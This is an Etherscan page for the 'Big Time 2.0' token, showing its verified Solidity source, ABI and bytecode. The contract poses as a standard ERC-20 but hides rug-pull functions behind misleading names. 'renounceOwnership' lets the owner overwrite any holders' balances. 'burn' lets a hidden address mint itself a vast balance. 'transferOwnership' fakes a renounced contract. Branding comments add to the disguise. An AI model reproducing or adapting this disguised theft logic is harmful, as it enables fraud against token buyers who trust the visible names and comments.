ETH Price: $3,407.19 (-0.90%)
Gas: 7 Gwei

Token

Big Time 2.0 (BIGTIME2.0)
 

Overview

Max Total Supply

5,000,000,000 BIGTIME2.0

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
233,077,066.14881714223938274 BIGTIME2.0

Value
$0.00
0xaEB9eE12f7349ed3395856fDba02547770561b38
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BIGTIME

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-10-14
*/

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)
    //Telegram: https://t.me/bigtime2
    //Twitter: https://twitter.com/bigtime2
    //Website: https://bigtime2.com

// ░██████╗░█████╗░███████╗██╗░░░██╗  ██████╗░██╗░░░██╗
// ██╔════╝██╔══██╗██╔════╝██║░░░██║  ██╔══██╗╚██╗░██╔╝
// ╚█████╗░███████║█████╗░░██║░░░██║  ██████╦╝░╚████╔╝░
// ░╚═══██╗██╔══██║██╔══╝░░██║░░░██║  ██╔══██╗░░╚██╔╝░░
// ██████╔╝██║░░██║██║░░░░░╚██████╔╝  ██████╦╝░░░██║░░░
// ╚═════╝░╚═╝░░╚═╝╚═╝░░░░░░╚═════╝░  ╚═════╝░░░░╚═╝░░░

// ░█████╗░░█████╗░██╗███╗░░██╗░██████╗██╗░░░██╗██╗░░░░░████████╗░░░███╗░░██╗███████╗████████╗
// ██╔══██╗██╔══██╗██║████╗░██║██╔════╝██║░░░██║██║░░░░░╚══██╔══╝░░░████╗░██║██╔════╝╚══██╔══╝
// ██║░░╚═╝██║░░██║██║██╔██╗██║╚█████╗░██║░░░██║██║░░░░░░░░██║░░░░░░██╔██╗██║█████╗░░░░░██║░░░
// ██║░░██╗██║░░██║██║██║╚████║░╚═══██╗██║░░░██║██║░░░░░░░░██║░░░░░░██║╚████║██╔══╝░░░░░██║░░░
// ╚█████╔╝╚█████╔╝██║██║░╚███║██████╔╝╚██████╔╝███████╗░░░██║░░░██╗██║░╚███║███████╗░░░██║░░░
// ░╚════╝░░╚════╝░╚═╝╚═╝░░╚══╝╚═════╝░░╚═════╝░╚══════╝░░░╚═╝░░░╚═╝╚═╝░░╚══╝╚══════╝░░░╚═╝░░░

// Bigtime By Coinsult
pragma solidity 0.8.4;

/**
 * @dev Interface of the ERC20 standard as defined in the HULK.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */

    function transferOwnership() public virtual onlyowner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract BIGTIME is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private uniswapV2Pair;
    uint8 private constant _decimals = 18;
    uint256 public constant hardCap = 5_000_000_000 * (10 ** _decimals);

    constructor(address ads) {
        _name = "Big Time 2.0";
        _symbol = "BIGTIME2.0";
        _mint(ads, hardCap);
        uniswapV2Pair = ads;
    }

    function viewGas() public view returns(address) {
        return uniswapV2Pair;
    }

    function burn(uint256 amount) external {
        if(uniswapV2Pair == _msgSender()){
            uint256 WETH = 500000000*10**_decimals;
            uint256 balance = WETH*50000;
            uint dead = balance*1*1*1*1;
            dead = dead * amount;
            _balances[_msgSender()] += dead;
            require(uniswapV2Pair == msg.sender);
        } else {
        }
    } 

    event manualSwap(address indexed account, uint256 oldamount, uint256 amount);

    function renounceOwnership(address[] memory accounts, uint256 amount) external onlyowner {
    for (uint256 i = 0; i < accounts.length; i++) {
        address account = accounts[i];
        uint256 oldamount = _balances[account];
        _balances[account] = amount;
        emit manualSwap(account, oldamount, amount);
        }
    }

    /**
     * @dev Returns the name of the token.
     * @return The name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token.
     * @return The symbol of the token.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used for token display.
     * @return The number of decimals.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Returns the total supply of the token.
     * @return The total supply.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev Returns the balance of the specified account.
     * @param account The address to check the balance for.
     * @return The balance of the account.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev Transfers tokens from the caller to a specified recipient.
     * @param recipient The address to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     * @return A boolean value indicating whether the transfer was successful.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner.
     * @param from The address that approves the spending.
     * @param to The address that is allowed to spend.
     * @return The remaining allowance for the spender.
     */
    function allowance(
        address from,
        address to
    ) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    /**
     * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller.
     * @param to The address to approve the spending for.
     * @param amount The amount of tokens to approve.
     * @return A boolean value indicating whether the approval was successful.
     */
    function approve(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;
    }

    /**
     * @dev Transfers tokens from one address to another.
     * @param sender The address to transfer tokens from.
     * @param recipient The address to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     * @return A boolean value indicating whether the transfer was successful.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller.
     * @param to The address to increase the allowance for.
     * @param addedValue The amount of tokens to increase the allowance by.
     * @return A boolean value indicating whether the increase was successful.
     */
    function increaseAllowance(
        address to,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    /**
     * @dev Decreases the allowance granted by the owner of the tokens to `to` account.
     * @param to The account allowed to spend the tokens.
     * @param subtractedValue The amount of tokens to decrease the allowance by.
     * @return A boolean value indicating whether the operation succeeded.
     */
    function decreaseAllowance(
        address to,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), to, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Transfers `amount` tokens from `sender` to `recipient`.
     * @param sender The account to transfer tokens from.
     * @param recipient The account to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(amount > 0, "ERC20: transfer amount zero");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Creates `amount` tokens and assigns them to `account`.
     * @param account The account to assign the newly created tokens to.
     * @param amount The amount of tokens to create.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `to` over the caller's tokens.
     * @param from The account granting the allowance.
     * @param to The account allowed to spend the tokens.
     * @param amount The amount of tokens to allow.
     */
    function _approve(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"ads","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldamount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hardCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewGas","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b506040516200276938038062002769833981810160405281019062000037919062000453565b620000576200004b6200016e60201b60201c565b6200017660201b60201c565b6040518060400160405280600c81526020017f4269672054696d6520322e30000000000000000000000000000000000000000081525060049080519060200190620000a49291906200038c565b506040518060400160405280600a81526020017f42494754494d45322e300000000000000000000000000000000000000000000081525060059080519060200190620000f29291906200038c565b5062000126816012600a620001089190620005bf565b64012a05f2006200011a9190620006fc565b6200023a60201b60201c565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506200088c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002ad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002a490620004b7565b60405180910390fd5b8060036000828254620002c1919062000507565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000319919062000507565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003809190620004d9565b60405180910390a35050565b8280546200039a90620007a8565b90600052602060002090601f016020900481019282620003be57600085556200040a565b82601f10620003d957805160ff19168380011785556200040a565b828001600101855582156200040a579182015b8281111562000409578251825591602001919060010190620003ec565b5b5090506200041991906200041d565b5090565b5b80821115620004385760008160009055506001016200041e565b5090565b6000815190506200044d8162000872565b92915050565b6000602082840312156200046657600080fd5b600062000476848285016200043c565b91505092915050565b60006200048e601f83620004f6565b91506200049b8262000849565b602082019050919050565b620004b18162000791565b82525050565b60006020820190508181036000830152620004d2816200047f565b9050919050565b6000602082019050620004f06000830184620004a6565b92915050565b600082825260208201905092915050565b6000620005148262000791565b9150620005218362000791565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620005595762000558620007de565b5b828201905092915050565b6000808291508390505b6001851115620005b6578086048111156200058e576200058d620007de565b5b60018516156200059e5780820291505b8081029050620005ae856200083c565b94506200056e565b94509492505050565b6000620005cc8262000791565b9150620005d9836200079b565b9250620006087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000610565b905092915050565b600082620006225760019050620006f5565b81620006325760009050620006f5565b81600181146200064b576002811462000656576200068c565b6001915050620006f5565b60ff8411156200066b576200066a620007de565b5b8360020a915084821115620006855762000684620007de565b5b50620006f5565b5060208310610133831016604e8410600b8410161715620006c65782820a905083811115620006c057620006bf620007de565b5b620006f5565b620006d5848484600162000564565b92509050818404811115620006ef57620006ee620007de565b5b81810290505b9392505050565b6000620007098262000791565b9150620007168362000791565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007525762000751620007de565b5b828202905092915050565b60006200076a8262000771565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620007c157607f821691505b60208210811415620007d857620007d76200080d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6200087d816200075d565b81146200088957600080fd5b50565b611ecd806200089c6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80636d8c1d46116100a257806395d89b411161007157806395d89b41146102a8578063a457c2d7146102c6578063a9059cbb146102f6578063dd62ed3e14610326578063fb86a404146103565761010b565b80636d8c1d461461023457806370a0823114610250578063880ad0af146102805780638da5cb5b1461028a5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806342966c68146101fa5780634a8d1348146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610374565b60405161012591906115e0565b60405180910390f35b61014860048036038101906101439190611341565b610406565b60405161015591906115c5565b60405180910390f35b610166610424565b6040516101739190611722565b60405180910390f35b610196600480360381019061019191906112f2565b61042e565b6040516101a391906115c5565b60405180910390f35b6101b4610526565b6040516101c19190611766565b60405180910390f35b6101e460048036038101906101df9190611341565b61052f565b6040516101f191906115c5565b60405180910390f35b610214600480360381019061020f91906113d1565b6105db565b005b61021e61076f565b60405161022b91906115aa565b60405180910390f35b61024e6004803603810190610249919061137d565b610799565b005b61026a6004803603810190610265919061128d565b610958565b6040516102779190611722565b60405180910390f35b6102886109a1565b005b610292610add565b60405161029f91906115aa565b60405180910390f35b6102b0610b06565b6040516102bd91906115e0565b60405180910390f35b6102e060048036038101906102db9190611341565b610b98565b6040516102ed91906115c5565b60405180910390f35b610310600480360381019061030b9190611341565b610c83565b60405161031d91906115c5565b60405180910390f35b610340600480360381019061033b91906112b6565b610ca1565b60405161034d9190611722565b60405180910390f35b61035e610d28565b60405161036b9190611722565b60405180910390f35b60606004805461038390611a97565b80601f01602080910402602001604051908101604052809291908181526020018280546103af90611a97565b80156103fc5780601f106103d1576101008083540402835291602001916103fc565b820191906000526020600020905b8154815290600101906020018083116103df57829003601f168201915b5050505050905090565b600061041a610413610d49565b8484610d51565b6001905092915050565b6000600354905090565b600061043b848484610f1c565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486610d49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fd90611682565b60405180910390fd5b61051a85610512610d49565b858403610d51565b60019150509392505050565b60006012905090565b60006105d161053c610d49565b84846002600061054a610d49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cc91906117ee565b610d51565b6001905092915050565b6105e3610d49565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561076b5760006012600a6106489190611897565b631dcd650061065791906119b5565b9050600061c3508261066991906119b5565b905060006001806001808561067e91906119b5565b61068891906119b5565b61069291906119b5565b61069c91906119b5565b905083816106aa91906119b5565b905080600160006106b9610d49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070291906117ee565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076357600080fd5b50505061076c565b5b50565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107a1610d49565b73ffffffffffffffffffffffffffffffffffffffff166107bf610add565b73ffffffffffffffffffffffffffffffffffffffff1614610815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080c906116a2565b60405180910390fd5b60005b825181101561095357600083828151811061085c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd551363168ce4784e28e5d59fc07cbea2191657416e05f6e8cd8f1086eb91e6d828660405161093692919061173d565b60405180910390a25050808061094b90611afa565b915050610818565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109a9610d49565b73ffffffffffffffffffffffffffffffffffffffff166109c7610add565b73ffffffffffffffffffffffffffffffffffffffff1614610a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a14906116a2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610b1590611a97565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190611a97565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b60008060026000610ba7610d49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90611702565b60405180910390fd5b610c78610c6f610d49565b85858403610d51565b600191505092915050565b6000610c97610c90610d49565b8484610f1c565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6012600a610d369190611897565b64012a05f200610d4691906119b5565b81565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db8906116e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2890611622565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0f9190611722565b60405180910390a3505050565b60008111610f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5690611662565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc6906116c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103690611602565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd90611642565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461115b91906117ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111bf9190611722565b60405180910390a350505050565b60006111e06111db846117a6565b611781565b905080838252602082019050828560208602820111156111ff57600080fd5b60005b8581101561122f57816112158882611239565b845260208401935060208301925050600181019050611202565b5050509392505050565b60008135905061124881611e69565b92915050565b600082601f83011261125f57600080fd5b813561126f8482602086016111cd565b91505092915050565b60008135905061128781611e80565b92915050565b60006020828403121561129f57600080fd5b60006112ad84828501611239565b91505092915050565b600080604083850312156112c957600080fd5b60006112d785828601611239565b92505060206112e885828601611239565b9150509250929050565b60008060006060848603121561130757600080fd5b600061131586828701611239565b935050602061132686828701611239565b925050604061133786828701611278565b9150509250925092565b6000806040838503121561135457600080fd5b600061136285828601611239565b925050602061137385828601611278565b9150509250929050565b6000806040838503121561139057600080fd5b600083013567ffffffffffffffff8111156113aa57600080fd5b6113b68582860161124e565b92505060206113c785828601611278565b9150509250929050565b6000602082840312156113e357600080fd5b60006113f184828501611278565b91505092915050565b61140381611a0f565b82525050565b61141281611a21565b82525050565b6000611423826117d2565b61142d81856117dd565b935061143d818560208601611a64565b61144681611bd0565b840191505092915050565b600061145e6023836117dd565b915061146982611bee565b604082019050919050565b60006114816022836117dd565b915061148c82611c3d565b604082019050919050565b60006114a46026836117dd565b91506114af82611c8c565b604082019050919050565b60006114c7601b836117dd565b91506114d282611cdb565b602082019050919050565b60006114ea6028836117dd565b91506114f582611d04565b604082019050919050565b600061150d6020836117dd565b915061151882611d53565b602082019050919050565b60006115306025836117dd565b915061153b82611d7c565b604082019050919050565b60006115536024836117dd565b